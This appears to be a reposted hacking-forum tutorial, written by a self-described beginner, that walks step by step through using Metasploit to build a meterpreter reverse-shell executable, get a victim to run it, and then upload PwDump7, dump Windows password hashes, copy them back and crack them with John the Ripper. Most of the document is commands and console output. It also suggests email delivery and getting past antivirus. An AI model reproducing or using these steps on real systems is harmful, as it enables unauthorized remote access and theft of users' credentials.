In the effort of preserving material that would be useful to others in the Back Track community I am porting over this thread the shows one persons journey of using Back Track and it's tools. I also want to help set the stage for the types of material/information and threads that we would like to see in this section. As such this thread while posted by me is the work of another member. I have taken all occasions to contact the OP to give credit for their work. Also I believe there is a lot of good things that one can learn from this thread. Portions of the thread that do not affect the readability of the content may have been edited.
QUOTE=AnActivist;
There are much more advanced ways to perform these tasks but being new I decided to try to simply the process as much as possible. There are also a lot of tutorials on this but I don't think adding one more will hurt. Finally, this is really to help me learn, so if you see any errors please let me know so I can fix them.
Goal: Use Metasploit to get into victims computer, get hashes, and crack them.
Victim Specs: Windows XP SP2, no anti virus
Attacker Specs: Ubuntu 8.10, Metasploit v3.2, John the Ripper
Links/Tuts/Authors to be credited:
John Strand Metasploit Meterpreter Reverse exe,
pureh@te XP Passwords
I had trouble finding an exploit for actually getting into to windows box because it is SP2 so instead I made my payload into an .exe file that would be executed by the victim.
The payload that I used was the windows/meterpreter/reverse_tcp. This payload injects the meterpreter server DLL into the victim and then connects back to the attack via the attacker's IP and Port. To turn this into an executable you can use the following command:
Code:
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.xxx LPORT=4444 X > MSPAYLOAD.exe
If all goes well you should see something like this:
Code:
Created by msfpayload ().
Payload: windows/meterpreter/reverse_tcp
Length: 278
Options: LHOST=192.168.1.xxx,LPORT=4444
A couple important notes:
1.Make sure that you have navigated to the Metasploit Framework directory before issuing the above command, or instead of just issuing ./msfpayload you issue something like /home/username/framework-3.2/msfpayload
2.You can check your local ip by using the command. Be aware that the whole point of this is that the victim will be connecting to YOU so you have to use YOUR ip.
3.Take a note of the LPORT this is again the port the victim will be connecting to; you need to remember this so you can listen on it later.
4.Don't forget the towards the end of the command, without it the payload won't be turned into an executable.
Alright so now we have our executable. This executable needs to be executed by the victim that we want to connect to to ourselves. You can use a lot of different creative ways to achieve this. A couple could be sending it via email, use netcat or ssh. To simply the process I just used a usb flash drive. All I did was copy MSPAYLOAD.exe to the flash drive and then from there copied it to the victims computer. One important note is that when I tried this on a computer with Avast AV it freaked out; my victim box doesn't have an AV (anti virus) yet so it wasn't a problem but if it is for you just disable the AV or try to figure out how to get past it (this is possible). Note: don't execute the executable yet.
So now we have created our executable and its on the victim's box. The next step is to start listening on the LPORT that we specified in our executable for the meterpreter that will be sent. We can do this using the exploit/multi/handler module. This module will allow us to wait for for our payload/exploit/executable to be launched outside the framework. To do this first start up the msfconsole, you can do this with . Once the console has been started up issue the following command:
Code:
use exploit/multi/handler
If you were successful you should see the prompt change to
Code:
msf exploit(handler) >
Now we need to set up our payload to listen for the meterpreter that will be sent from the victim's box once they execute the MSPAYLOAD.EXE. Issue the following command:
Code:
set PAYLOAD windows/meterpreter/reverse_tcp
then set you LHOST and LPORT
Code:
msf exploit(handler) > set LHOST 192.168.1.xxx
LHOST => 192.168.1.100
msf exploit(handler) > set LPORT 4444
LPORT => 4444
Once again make sure you note that this is your ip and that the port you are listening on must match the port that MSPAYLOAD.EXE will be sending the meterpreter to. Once you have checked that everything is in order issue the command . If all goes well it should look like this:
Code:
msf exploit(handler) > exploit
[*] Starting the payload handler...
[*] Started reverse handler
Now we are ready to execute MSPAYLOAD.EXE on the victims box. Execute MSPAYLOAD.EXE or whatever your .exe file is named on the victim's box now. If you have done everything correctly so far then not much should happen on the victims box but on yours something magical has happened. Your msfconsole should now look like this:
Code:
msf exploit(handler) > exploit
[*] Starting the payload handler...
[*] Started reverse handler
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.1.xxx:4444 -> 192.168.1.103:1030)
meterpreter >
Note: If you meterpreter session doesn't open right away you can check for active sessions by typing “sessions -l” and then using the particular ID of the active session type “sessions -i (ID number)”
Now you are in. You can check the processes that are running on the victim's computer by issuing the command and you should see MSPAYLOAD.EXE or whatever you named you executable nestled in there.
Now we need to upload some files onto our victims computer. The two files that we will be upload are PwDump7.exe and libeay32.dll. We can do this by issuing the following commands:
Code:
upload /home/username/PwDump7/PwDump7.exe C:\\PwDump7.exe
upload /home/username/PwDump7/libeay32.dll C:\\libeay32.dll
If you are successful your msfconsole should look like this:
Code:
meterpreter > upload /home/max/PwDump7/PwDump7.exe C:\\PwDump7.exe
[*] uploading : /home/max/PwDump7/PwDump7.exe -> C:\PwDump7.exe
[*] uploaded : /home/max/PwDump7/PwDump7.exe -> C:\PwDump7.exe
meterpreter > upload /home/max/PwDump7/libeay32.dll C:\\libeay32.dll
[*] uploading : /home/max/PwDump7/libeay32.dll -> C:\libeay32.dll
[*] uploaded : /home/max/PwDump7/libeay32.dll -> C:\libeay32.dll
Some important notes:
1.The directory that PwDump7.exe and libeay32.dll is located on my be different for you
2.You can download PwDump7 from
Now that we have our important files uploaded onto the victims computer we need to run PwDump7 but first we need to get a command prompt. To do this issue the following command:
Code:
execute -f cmd.exe -c -H -i
If you are successful your msfconsole should have warped and now looks something like this:
Code:
meterpreter > execute -f cmd.exe -c -H -i
Process 1644 created.
Channel 3 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\>
Now we want to execute PwDump7 and we want it to dump the hash into a text file that I will name XPHASH.txt. You can do this by issuing the following command:
Code:
PwDump7 > XPHASH.txt
If you are successful your command prompt should look like this:
Code:
C:\>PwDump7 > XPHASH.txt
PwDump7 > XPHASH.txt
Pwdump v7.1 - raw password extractor
Author: Andres Tarasco Acuna
C:\>
You can now exit the command prompt and get back into the meterpreter (this will happen automatically if you simply type “exit”). Once inside the meterpreter we want to download the newly created hash XPHASH.txt onto our computer so we can crack it with John the Ripper. You can download XPHASH.txt to your computer by issuing the following command:
Code:
download C:\\XPHASH.txt /home/username/Desktop/XPHASH.txt
If you are successful your msfconsole should look like this:
Code:
meterpreter > download C:\\XPHASH.txt /home/max/Desktop/XPHASH.txt
[*] downloading: C:\XPHASH.txt -> /home/username/Desktop/XPHASH.txt
[*] downloaded : C:\XPHASH.txt -> /home/username/Desktop/XPHASH.txt
Now you can exit disconnect from the victim's box because we have everything we need. The final step is to use John the Ripper to crack XPHASH.txt.
To crack XPHASH.txt you can issue the following command:
Code:
john -f:NT –wordlist=/home/username/Desktop/wordlist.txt /home/username/Desktop/XPHASH.txt
Note:
1.wordlist.txt can be downloaded for John the Ripper, just Google for JtR wordlists downloads
2.Your directories may be different than mine
3.If you want to do this only for testing purposes then you could just make a wordlist with the actual passwords of the box just to see if it works (this is what I did).
Thats it for me. I hope this helps some people. Like I said before please point out errors so that I can fix them. I'm going to explore the password cracking process more and try to do this again, I'm also going to try to get past my AV, and explore new ways to get the .exe file onto the victims computer.
last note: I wasn't able to post any urls because I don't have enough posts, just Google if you want websites.
One persons journey with Back Track
. Please feel free to test my method and show results
